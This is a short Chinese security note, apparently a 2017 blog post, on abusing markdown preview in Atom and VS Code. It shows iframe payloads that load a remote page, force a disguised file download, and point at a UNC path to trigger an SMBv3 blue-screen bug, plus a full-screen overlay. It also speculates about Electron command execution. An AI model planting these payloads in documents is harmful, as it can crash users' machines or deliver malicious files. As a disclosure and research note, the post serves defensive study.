Atom / VSCode预览个人markdown蓝屏的一种情景可能性

前言

默认下markdown preview对iframe/embed/svg/p等标签是解析的,对img等标签是不解析的
可是使用正常的http://是没法引入外部资源展现的。以下图

没法预览

场景

测试

<!-- 加载正常的html上js代码是没法执行的,以下图 -->
<iframe/src=http:\\tmxk.org/csrf>

iframe预览

任意文件下载

<!-- 提示用户保存文件,文件为.css文件,或者改个诱惑型好比预览插件等,以下图 -->
<iframe/src=http:\\tmxk.org/.css>

iframe下载文件

结合SMBV3 0day 蓝屏

<!-- 模拟smb服务,被动触发 -->
<iframe/src=\\1.1.1.1\>

其余小记猜测

visual code UA:
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Code/1.9.1 Chrome/53.0.2785.143 Electron/1.4.6 Safari/537.36

Atom UA:
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Atom/1.7.2 Chrome/47.0.2526.110 Electron/0.36.8 Safari/537.36

<p style="position:fixed; top:0; left:0;z-index:99999; width:100%; height:100%;background:#000;color:#fff;padding-top:30%;text-align:center;font-size:64px;">23333</p>

END

根据以前爆出的vscode的命令执行,咱们是否也能够让atom作到呢?
能够仔细看下Electron与atom相关的代码,有惊喜。
注:上面的测试代码放在`之间进行预览触发,通用vscode与atom

20170808更新

能玩的仍是挺多的,mark下
https://mp.weixin.qq.com/s/DgjJ6uKtuUPFQhgztL69RQ  Electron hack —— 跨平台 XSS  
https://blog.doyensec.com/2017/08/03/electron-framework-security.html  Modern Alchemy: Turning XSS into RCE
相关文章
相关标签/搜索